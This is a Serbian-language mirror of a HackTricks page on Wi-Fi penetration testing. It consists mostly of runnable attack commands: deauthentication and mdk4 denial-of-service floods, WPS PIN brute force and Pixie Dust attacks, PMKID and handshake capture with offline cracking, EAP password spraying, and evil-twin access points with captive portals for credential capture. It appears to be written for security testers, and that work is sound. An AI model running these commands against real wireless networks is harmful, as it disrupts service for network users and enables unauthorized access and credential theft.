Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 22:52:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/generic-methodologies-and-resources/pentesting-wifi
History
Translator a84ef039d2 Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2
2024-05-05 22:40:09 +00:00
..
evil-twin-eap-tls.md Translated to Serbian 2024-02-10 13:11:20 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:40:09 +00:00

README.md

Testiranje bezbednosti Wifi mreža

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

Uvidi u Hakovanje
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti o Hakovanju u Realnom Vremenu
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

Poslednje Najave
Budite informisani o najnovijim nagradama za pronalaženje bagova i bitnim ažuriranjima platformi

Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!

Osnovne komande za Wifi

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

Alati

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

Pokrenite airgeddon pomoću dockera

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

wifiphisher

Može izvršiti Evil Twin, KARMA i Known Beacons napade, a zatim koristiti phishing šablon da bi uspeo da dobije pravi lozinku mreže ili da uhvati kredencijale društvenih mreža.

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

Ovaj alat automatizuje napade na WPS/WEP/WPA-PSK. Automatski će:

  • Postaviti interfejs u režim za praćenje
  • Skenirati moguće mreže - I omogućiti vam da odaberete žrtvu(e)
  • Ako je u pitanju WEP - Pokrenuti napade na WEP
  • Ako je u pitanju WPA-PSK
  • Ako je u pitanju WPS: Napad Pixie dust i napad brute-force (budite oprezni, brute-force napad može potrajati dugo). Imajte na umu da ne pokušava null PIN ili baze/generisane PIN-ove.
  • Pokušati da uhvati PMKID sa AP-a radi pucanja
  • Pokušati da deautentifikuje klijente AP-a kako bi uhvatio handshake
  • Ako je PMKID ili Handshake, pokušati brute-force sa top5000 lozinki.

Sumarizacija Napada

  • DoS
  • Deautentifikacija/disasocijacija -- Diskonektovati sve (ili određeni ESSID/Klijent)
  • Slučajne lažne AP-ove -- Sakrij mreže, mogući pad skenera
  • Preopterećenje AP-a -- Pokušajte da onesposobite AP (obično nije jako korisno)
  • WIDS -- Igrajte se sa IDS-om
  • TKIP, EAPOL -- Neki specifični napadi za DoS nekih AP-ova
  • Pucanje
  • Pucanje WEP (nekoliko alata i metoda)
  • WPA-PSK
  • WPS pin "Brute-Force"
  • WPA PMKID brute-force
  • [DoS +] Uhvatanje WPA handshake-a + Pucanje
  • WPA-MGT
  • Uhvatanje korisničkog imena
  • Brute-force Kredencijala
  • Zli blizanac (sa ili bez DoS-a)
  • Otvoreni Zli blizanac [+ DoS] -- Korisno za hvatanje kredencijala za captive portal i/ili izvođenje LAN napada
  • WPA-PSK Zli blizanac -- Korisno za mrežne napade ako znate lozinku
  • WPA-MGT -- Korisno za hvatanje korporativnih kredencijala
  • KARMA, MANA, Glasan MANA, Poznati beacon
  • + Otvoreni -- Korisno za hvatanje kredencijala za captive portal i/ili izvođenje LAN napada
  • + WPA -- Korisno za hvatanje WPA handshake-ova

DOS

Paketi Deautentifikacije

Opis sa ovde:.

Napadi deautentifikacije, čest metod u hakovanju Wi-Fi-ja, uključuju falsifikovanje "upravljačkih" okvira kako bi prisilno diskonektovali uređaje sa mreže. Ovi nešifrovani paketi obmanjuju klijente da veruju da su od legitimne mreže, omogućavajući napadačima da prikupe WPA handshake-ove u svrhu pucanja ili da uporno ometaju mrežne veze. Ova taktika, alarmantna u svojoj jednostavnosti, široko se koristi i ima značajne implikacije po sigurnost mreže.

Deautentifikacija korišćenjem Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 znači deautentikaciju
  • 1 je broj deautentikacija za slanje (možete poslati više ako želite); 0 znači slanje neprekidno
  • -a 00:14:6C:7E:40:80 je MAC adresa pristupne tačke
  • -c 00:0F:B5:34:30:30 je MAC adresa klijenta za deautentikaciju; ako je izostavljena, tada se šalje emitovanje deautentikacije (ne radi uvek)
  • ath0 je ime interfejsa

Paketi disasocijacije

Paketi disasocijacije, slično kao paketi deautentikacije, su vrsta upravljačkog okvira koji se koristi u Wi-Fi mrežama. Ovi paketi služe da prekinu vezu između uređaja (kao što su laptop ili pametni telefon) i pristupne tačke (AP). Glavna razlika između disasocijacije i deautentikacije leži u njihovim scenarijima korišćenja. Dok AP emituje **pakete deautentikacije da bi eksplicitno uklonio zlonamerne uređaje sa mreže, paketi disasocijacije se obično šalju kada AP prolazi kroz gašenje, restart ili premestanje, čime se neophodno vrši prekid veze sa svim povezanim čvorovima.

Ovaj napad može biti izveden pomoću mdk4 (režim "d"):

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

Više DOS napada pomoću mdk4

Ovde ovde.

NAPADNI REŽIM b: Poplava odašiljanja

Šalje odašiljačke okvire kako bi prikazao lažne AP-ove klijentima. Ovo ponekad može izazvati pad mrežnih skenera čak i drajvera!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

NAPADNI REŽIM a: Odbijanje autentifikacije usluge

Slanje autentifikacionih okvira svim dostupnim pristupnim tačkama (AP) u dometu može preopteretiti ove AP, posebno kada je uključen veliki broj klijenata. Ovaj intenzivan saobraćaj može dovesti do nestabilnosti sistema, uzrokujući da neke AP zaledi ili čak resetuje.

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

NAPADNI REŽIM p: Probing i Bruteforcing SSID-a

Probing pristupnih tačaka (AP) proverava da li je SSID pravilno otkriven i potvrđuje opseg AP-a. Ova tehnika, zajedno sa bruteforcing skrivenih SSID-ova sa ili bez liste reči, pomaže u identifikaciji i pristupanju skrivenim mrežama.

NAPADNI REŽIM m: Iskorišćavanje Michael protivmera

Slanje nasumičnih ili duplikatnih paketa različitim QoS redovima može pokrenuti Michael protivmere na TKIP AP-ovima, što dovodi do jednominutnog gašenja AP-a. Ovaj metod je efikasna taktika napada DoS (Denial of Service).

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

NAPADNI REŽIM e: Ubrizgavanje paketa EAPOL Start i Logoff

Poplavljivanje AP-a sa EAPOL Start okvirima stvara lažne sesije, preopterećujući AP i blokirajući legitimne klijente. Alternativno, ubrizgavanje lažnih EAPOL Logoff poruka prisilno prekida klijente, oba metoda efikasno remete mrežnu uslugu.

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

NAPADNI REŽIM s: Napadi na IEEE 802.11s mreže sa mrežnom mrežom

Različiti napadi na upravljanje vezama i rutiranje u mrežama sa mrežnom mrežom.

NAPADNI REŽIM w: Konfuzija WIDS-a

Povezivanje klijenata sa više WDS čvorova ili lažnih rogue AP-ova može manipulisati sistemima za otkrivanje i prevenciju upada, stvarajući konfuziju i potencijalno zloupotrebu sistema.

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

NAPADNI REŽIM f: Paket Fuzzer

Paket fuzzer koji sadrži različite izvore paketa i sveobuhvatan set modifikatora za manipulaciju paketima.

Airggedon

Airgeddon nudi većinu napada predloženih u prethodnim komentarima:

WPS

WPS (Wi-Fi Protected Setup) pojednostavljuje proces povezivanja uređaja s ruterom, poboljšavajući brzinu postavljanja i olakšavajući mreže koje su šifrovane sa WPA ili WPA2 Personal. Nije efikasan za lako kompromitovanu WEP sigurnost. WPS koristi 8-znamenkasti PIN, validiran u dva dela, što ga čini podložnim napadima brute-force zbog ograničenog broja kombinacija (11.000 mogućnosti).

WPS Brute Force

Postoje 2 glavna alata za izvođenje ove akcije: Reaver i Bully.

  • Reaver je dizajniran da bude snažan i praktičan napad protiv WPS-a, i testiran je protiv različitih pristupnih tačaka i implementacija WPS-a.
  • Bully je nova implementacija napada brute force na WPS, napisana u C-u. Ima nekoliko prednosti u odnosu na originalni reaver kod: manje zavisnosti, poboljšanu memoriju i CPU performanse, ispravno rukovanje endijanom i robustan set opcija.

Napad iskorišćava ranjivost WPS PIN-a, posebno izlaganje prvih četiri cifre i ulogu poslednje cifre kao kontrolne znamenke, olakšavajući napad brute-force. Međutim, odbrane protiv napada brute-force, poput blokiranja MAC adresa agresivnih napadača, zahtevaju rotaciju MAC adresa kako bi se nastavio napad.

Nakon što napadač dobije WPS PIN pomoću alata poput Bully ili Reaver, može zaključiti WPA/WPA2 PSK, obezbeđujući postojani pristup mreži.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Pametni Brute Force

Ovaj unapređeni pristup cilja WPS PIN-ove koristeći poznate ranjivosti:

  1. Prethodno otkriveni PIN-ovi: Iskoristite bazu podataka poznatih PIN-ova povezanih sa određenim proizvođačima koji koriste uniformne WPS PIN-ove. Ova baza podataka povezuje prva tri okteta MAC adresa sa verovatnim PIN-ovima za ove proizvođače.
  2. Algoritmi generisanja PIN-ova: Iskoristite algoritme poput ComputePIN i EasyBox, koji izračunavaju WPS PIN-ove na osnovu MAC adrese AP-a. Arcadyan algoritam dodatno zahteva ID uređaja, dodajući sloj procesu generisanja PIN-ova.

Napad WPS Pixie Dust

Dominique Bongard je otkrio propust u nekim pristupnim tačkama (AP) koji se odnosi na kreiranje tajnih kodova, poznatih kao nonce-ovi (E-S1 i E-S2). Ako se ovi nonce-ovi mogu otkriti, pucanje WPS PIN-a AP-a postaje jednostavno. AP otkriva PIN unutar posebnog koda (hash) kako bi dokazao da je legitimno i da nije lažna (rogue) AP. Ovi nonce-ovi su suštinski "ključevi" za otključavanje "sefa" koji čuva WPS PIN. Više informacija o tome može se pronaći ovde.

U jednostavnim terminima, problem je u tome što neke AP nisu koristile dovoljno slučajne ključeve za šifrovanje PIN-a tokom procesa povezivanja. To čini PIN ranjivim na nagađanje spoljašnjim putem (napad offline brute force).

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Ako ne želite da prebacite uređaj u monitor režim, ili reaver i bully imaju neki problem, možete probati OneShot-C. Ovaj alat može izvesti Pixie Dust napad bez potrebe za prebacivanjem u monitor režim.

./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Napad nultog pina

Neke loše dizajnirane sisteme čak i dozvoljavaju Nulti PIN (prazan ili nepostojeći PIN) da omogući pristup, što je prilično neuobičajeno. Alat Reaver je sposoban da testira ovu ranjivost, za razliku od Bully-a.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

Sve predložene WPS napade lako možete izvesti koristeći airgeddon.

  • 5 i 6 vam omogućavaju da probate vaš prilagođeni PIN (ako ga imate)
  • 7 i 8 izvode Pixie Dust napad
  • 13 vam omogućava da testirate NULL PIN
  • 11 i 12 će prikupiti PIN-ove povezane sa odabranim AP iz dostupnih baza podataka i generisati moguće PIN-ove koristeći: ComputePIN, EasyBox i opciono Arcadyan (preporučeno, zašto ne?)
  • 9 i 10 će testirati svaki mogući PIN

WEP

Tako slomljen i nekorišćen danas. Samo znajte da airgeddon ima WEP opciju nazvanu "All-in-One" za napad na ovu vrstu zaštite. Više alata nudi slične opcije.

Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

Hacking Insights
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Real-Time Hack News
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

Latest Announcements
Budite informisani o najnovijim bug bounty programima i bitnim ažuriranjima platformi

Pridružite nam se na Discord i počnite da sarađujete sa vrhunskim hakerima danas!

WPA/WPA2 PSK

PMKID

Godine 2018, hashcat je otkrio novu metodu napada, jedinstvenu jer zahteva samo jedan jedini paket i ne zahteva da bilo koji klijenti budu povezani sa ciljnim AP - samo interakciju između napadača i AP.

Mnogi moderni ruteri dodaju opciono polje u prvi EAPOL okvir tokom asocijacije, poznato kao Robust Security Network. To uključuje PMKID.

Kako originalna objava objašnjava, PMKID se kreira koristeći poznate podatke:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

S obzirom da je "PMK ime" konstantno, znamo BSSID pristupne tačke i stanice, a PMK je identičan onome iz potpune 4-way rukovanja, hashcat može koristiti ove informacije da probije PSK i povrati lozinku!

Da prikupite ove informacije i bruteforce lokalno lozinku, možete uraditi:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1

#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

PMKIDs koje su uhvaćene će biti prikazane u konzoli i takođe sačuvane unutar _ /tmp/attack.pcap_
Sada, konvertujte snimak u hashcat/john format i probajte da ga probijete:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Molimo vas da obratite pažnju da ispravan format heša sadrži 4 dela, poput: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 Ako vaš heš sadrži samo 3 dela, onda je nevažeći (PMKID snimak nije bio validan).

Imajte na umu da hcxdumptool takođe snima rukovanja (nešto poput ovoga će se pojaviti: MP:M1M2 RC:63258 EAPOLTIME:17091). Možete transformisati rukovanja u hashcat/john format koristeći cap2hccapx

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

Uočio sam da neki rukovanja uhvaćena ovim alatom ne mogu biti probijena čak i kada se zna tačna lozinka. Preporučio bih da se rukovanja uhvate i na tradicionalan način ako je moguće, ili da se uhvati nekoliko njih koristeći ovaj alat.

Uhvatanje rukovanja

Napad na WPA/WPA2 mreže može se izvršiti tako što se uhvati rukovanje i pokuša probijanje lozinke offline. Ovaj proces uključuje praćenje komunikacije određene mreže i BSSID-a na određenom kanalu. Evo pojednostavljenog vodiča:

  1. Identifikujte BSSID, kanal i povezanog klijenta ciljne mreže.
  2. Koristite airodump-ng da biste pratili saobraćaj mreže na određenom kanalu i BSSID-u, u nadi da ćete uhvatiti rukovanje. Komanda će izgledati ovako:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. Da biste povećali šansu za hvatanje handshake-a, privremeno isključite klijenta sa mreže kako biste ga prisilili na ponovnu autentifikaciju. To se može uraditi korišćenjem aireplay-ng komande, koja šalje pakete deautentifikacije ka klijentu:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

Napomena da je klijent deautentifikovan, može pokušati da se poveže sa drugim AP-om ili, u drugim slučajevima, sa drugom mrežom.

Kada se pojave informacije o rukovanju u airodump-ng, to znači da je rukovanje uhvaćeno i možete prestati sa slušanjem:

Kada se uhvati rukovanje, možete ga provaliti pomoću aircrack-ng:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

Proverite da li je handshake u datoteci

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

Ako ovaj alat pronađe nedovršenu rukovanje ESSID-a pre završenog, neće otkriti validan.

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA Enterprise (MGT)

U WiFi postavkama preduzeća, susrešćete se sa različitim metodama autentifikacije, koje pružaju različite nivoe sigurnosti i funkcije upravljanja. Kada koristite alatke poput airodump-ng za inspekciju mrežnog saobraćaja, možete primetiti identifikatore za ove tipove autentifikacije. Neke uobičajene metode uključuju:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (Generic Token Card):
  • Ova metoda podržava hardverske tokene i jednokratne lozinke unutar EAP-PEAP. Za razliku od MSCHAPv2, ne koristi izazov vršnjaka i šalje lozinke u plaintext formatu pristupnoj tački, što predstavlja rizik od napada na smanjenje nivoa sigurnosti.
  1. EAP-MD5 (Message Digest 5):
  • Uključuje slanje MD5 heša lozinke sa klijenta. Nije preporučeno zbog ranjivosti na rečničke napade, nedostatka autentifikacije servera i nemogućnosti generisanja sesijski specifičnih WEP ključeva.
  1. EAP-TLS (Transport Layer Security):
  • Koristi i klijentske i serverske sertifikate za autentifikaciju i može dinamički generisati korisničke i sesijske WEP ključeve za obezbeđivanje komunikacija.
  1. EAP-TTLS (Tunneled Transport Layer Security):
  • Pruža međusobnu autentifikaciju putem enkriptovanog tunela, zajedno sa metodom za izvođenje dinamičkih, po-korisniku, po-sesijskih WEP ključeva. Zahteva samo serverske sertifikate, dok klijenti koriste akreditive.
  1. PEAP (Protected Extensible Authentication Protocol):
  • Funkcioniše slično kao EAP stvaranjem TLS tunela za zaštićenu komunikaciju. Omogućava korišćenje slabijih autentifikacionih protokola iznad EAP zbog zaštite koju pruža tunel.
  • PEAP-MSCHAPv2: Često nazvan PEAP, kombinuje ranjivi MSCHAPv2 mehanizam izazova/odgovora sa zaštitnim TLS tunelom.
  • PEAP-EAP-TLS (ili PEAP-TLS): Slično kao EAP-TLS, ali inicira TLS tunel pre razmene sertifikata, nudeći dodatni sloj sigurnosti.

Više informacija o ovim autentifikacionim metodama možete pronaći ovde i ovde.

Snimanje Korisničkog Imena

Čitajući https://tools.ietf.org/html/rfc3748#page-27 izgleda da ako koristite EAP, "Identitet" poruke moraju biti podržane, i korisničko ime će biti poslato čisto u "Odgovoru na Identitet" porukama.

Čak i koristeći jedan od najsigurnijih autentifikacionih metoda: PEAP-EAP-TLS, moguće je snimiti korisničko ime poslato u EAP protokolu. Da biste to uradili, snimite autentifikacionu komunikaciju (pokrenite airodump-ng unutar kanala i wireshark na istom interfejsu) i filtrirajte pakete po eapol.
Unutar paketa "Odgovor, Identitet", pojaviće se korisničko ime klijenta.

Anonimni Identiteti

Skrivanje identiteta podržano je i od strane EAP-PEAP i EAP-TTLS. U kontekstu WiFi mreže, zahtev za EAP-Identitetom obično pokreće pristupna tačka (AP) tokom procesa asocijacije. Kako bi se osigurala zaštita anonimnosti korisnika, odgovor od EAP klijenta na uređaju korisnika sadrži samo osnovne informacije potrebne za početni RADIUS server da obradi zahtev. Ovaj koncept je ilustrovan kroz sledeće scenarije:

  • EAP-Identitet = anonimno
  • U ovom scenariju, svi korisnici koriste pseudonim "anonimno" kao svoj identifikator korisnika. Početni RADIUS server funkcioniše kao EAP-PEAP ili EAP-TTLS server, odgovoran za upravljanje serverskom stranom PEAP ili TTLS protokola. Unutrašnji (zaštićeni) autentifikacioni metod se zatim ili obrađuje lokalno ili se delegira na udaljeni (matični) RADIUS server.
  • EAP-Identitet = anonimno@realm_x
  • U ovoj situaciji, korisnici iz različitih oblasti skrivaju svoje identitete dok pokazuju svoje odgovarajuće oblasti. Ovo omogućava početnom RADIUS serveru da prosledi EAP-PEAP ili EAP-TTLS zahteve RADIUS serverima u njihovim matičnim oblastima, koji deluju kao PEAP ili TTLS server. Početni RADIUS server funkcioniše isključivo kao RADIUS relejni čvor.
  • Alternativno, početni RADIUS server može funkcionisati kao EAP-PEAP ili EAP-TTLS server i ili obrađivati zaštićeni autentifikacioni metod ili ga proslediti drugom serveru. Ova opcija olakšava konfiguraciju različitih politika za različite oblasti.

U EAP-PEAP, kada se TLS tunel uspostavi između PEAP servera i PEAP klijenta, PEAP server pokreće zahtev za EAP-Identitetom i prenosi ga kroz TLS tunel. Klijent odgovara na ovaj drugi zahtev za EAP-Identitetom slanjem EAP-Identitet odgovora koji sadrži pravi identitet korisnika kroz enkriptovani tunel. Ovaj pristup efikasno sprečava otkrivanje stvarnog identiteta korisnika bilo kome ko prisluškuje 802.11 saobraćaj.

EAP-TTLS prati nešto drugačiju proceduru. Sa EAP-TTLS, klijent se obično autentifikuje koristeći PAP ili CHAP, obezbeđen TLS tunelom. U ovom slučaju, klijent uključuje atribut Korisničko Ime i ili Lozinku ili CHAP-Lozinku u početnoj TLS poruci poslatoj nakon uspostavljanja tunela.

Bez obzira na izabrani protokol, PEAP/TTLS server dobija saznanje o pravom identitetu korisnika nakon što je TLS tunel uspostavljen. Pravi identitet može biti predstavljen kao korisnik@oblast ili jednostavno korisnik. Ako je PEAP/TTLS server takođe odgovoran za autentifikaciju korisnika, sada poseduje identitet korisnika i nastavlja sa autentifikacionim metodom zaštićenim TLS tunelom. Alternativno, PEAP/TTLS server može proslediti novi RADIUS zahtev RADIUS serveru korisnikove matične oblasti. Ovaj novi RADIUS zahtev ne sadrži PEAP ili TTLS sloj protokola. U slučajevima kada je zaštićeni autentifikacioni metod EAP, unutrašnje EAP poruke se prenose ka RADIUS serveru matične oblasti bez EAP-PEAP ili EAP-TTLS omotača. Atribut Korisničko Ime izlazne RADIUS poruke sadrži pravi identitet korisnika, zamenjujući anonimni Korisničko Ime iz dolaznog RADIUS zahteva. Kada je zaštićeni autentifikacioni metod PAP ili CHAP (podržan samo od strane TTLS), Korisničko Ime i ostali atributi autentifikacije izdvojeni iz TLS payload-a se zamenjuju u izlaznoj RADIUS poruci, zamenjujući anonimni Korisničko Ime i TTLS EAP-Poruka atribute pronađene u dolaznom RADIUS zahtevu.

Za više informacija pogledajte https://www.interlinknetworks.com/app_notes/eap-peap.htm

EAP-Bruteforce (password spray)

Ako se očekuje da klijent koristi korisničko ime i lozinku (primetite da EAP-TLS neće biti validan u ovom slučaju), tada možete pokušati da dobijete listu korisničkih imena (vidi sledeći deo) i lozinki i pokušati bruteforce pristup koristeći air-hammer.

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

Možete izvršiti ovaj napad koristeći eaphammer:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

Teorija napada na klijente

Selekcija mreže i roaming

  • Protokol 802.11 definiše kako stanica pristupa Proširenom servisnom setu (ESS), ali ne specificira kriterijume za izbor ESS-a ili pristupne tačke (AP) unutar njega.
  • Stanice mogu da se kreću između AP-ova koji dele isti ESSID, održavajući povezanost širom zgrade ili područja.
  • Protokol zahteva autentifikaciju stanice na ESS, ali ne nalaže autentifikaciju AP-a na stanicu.

Liste preferiranih mreža (PNL)

  • Stanice čuvaju ESSID svake bežične mreže sa kojom se povežu u svojoj Listi preferiranih mreža (PNL), zajedno sa detaljima konfiguracije specifičnim za mrežu.
  • PNL se koristi za automatsko povezivanje sa poznatim mrežama, poboljšavajući korisničko iskustvo optimizacijom procesa povezivanja.

Pasivno skeniranje

  • AP-ovi periodično emituju okvirima oznake, najavljujući svoje prisustvo i karakteristike, uključujući ESSID AP-a osim ako je emitovanje onemogućeno.
  • Tokom pasivnog skeniranja, stanice slušaju okvire oznake. Ako ESSID oznake odgovara unosu u PNL stanice, stanica može automatski da se poveže sa tim AP-om.
  • Poznavanje PNL uređaja omogućava potencijalno iskorišćavanje imitiranjem ESSID-a poznate mreže, prevareći uređaj da se poveže sa lažnim AP-om.

Aktivno sondiranje

  • Aktivno sondiranje uključuje slanje zahteva za sondiranje od strane stanica radi otkrivanja obližnjih AP-ova i njihovih karakteristika.
  • Usmereni zahtevi za sondiranje ciljaju određeni ESSID, pomažući u otkrivanju da li je određena mreža unutar dometa, čak i ako je skrivena mreža.
  • Emitovanje zahteva za sondiranje ima polje SSID nula vrednosti i šalje se svim obližnjim AP-ovima, omogućavajući stanici da proveri bilo koju preferiranu mrežu bez otkrivanja sadržaja svoje PNL.

Jednostavni AP sa preusmeravanjem na Internet

Pre nego što se objasni kako izvesti složenije napade, biće objašnjeno kako samo kreirati jedan AP i preusmeriti njegov saobraćaj na interfejs povezan sa Internetom.

Korišćenjem ifconfig -a proverite da li su wlan interfejs za kreiranje AP-a i interfejs povezan sa Internetom prisutni.

DHCP & DNS

apt-get install dnsmasq #Manages DHCP and DNS

Kreirajte konfiguracioni fajl /etc/dnsmasq.conf:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

Zatim postavite IP adrese i rute:

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

I onda pokrenite dnsmasq:

dnsmasq -C dnsmasq.conf -d

hostapd

apt-get install hostapd

Kreirajte konfiguracioni fajl hostapd.conf:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

Zaustavite dosadne procese, postavite monitor mod, i pokrenite hostapd:

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

Prosleđivanje i Preusmeravanje

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Zli blizanac

Napad zlog blizanca iskorišćava način na koji WiFi klijenti prepoznaju mreže, uglavnom se oslanjajući na ime mreže (ESSID) bez potrebe da se bazna stanica (pristupna tačka) autentifikuje klijentu. Ključne tačke uključuju:

  • Teškoće u diferencijaciji: Uređaji se bore da razlikuju legitimne i lažne pristupne tačke kada dele isti ESSID i tip enkripcije. Mreže u stvarnom svetu često koriste više pristupnih tačaka sa istim ESSID-om kako bi proširile pokrivenost bez prekida.
  • Roaming klijenata i manipulacija konekcijom: Protokol 802.11 omogućava uređajima da se kreću između pristupnih tačaka unutar istog ESSID-a. Napadači to mogu iskoristiti tako što će privući uređaj da se odjavi sa trenutne bazne stanice i poveže sa lažnom. To se može postići nudeći jači signal ili ometanjem konekcije sa legitimnom pristupnom tačkom putem metoda poput paketa deautentifikacije ili ometanja.
  • Izazovi u izvršenju: Uspešno izvođenje napada zlog blizanca u okruženjima sa više dobro postavljenih pristupnih tačaka može biti izazovno. Deautentifikacija jedne legitimne pristupne tačke često rezultira uređajem koji se povezuje sa drugom legitimnom pristupnom tačkom, osim ako napadač ne može da deautentifikuje sve obližnje pristupne tačke ili strategijski postavi lažnu pristupnu tačku.
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

Takođe možete kreirati Zli blizanac koristeći eaphammer (primetite da bi se zli blizanci kreirali sa eaphammerom, interfejs NE TREBA DA BUDE u monitor režimu):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

Ili koristeći Airgeddon: Opcije: 5,6,7,8,9 (unutar menija napada Evil Twin).

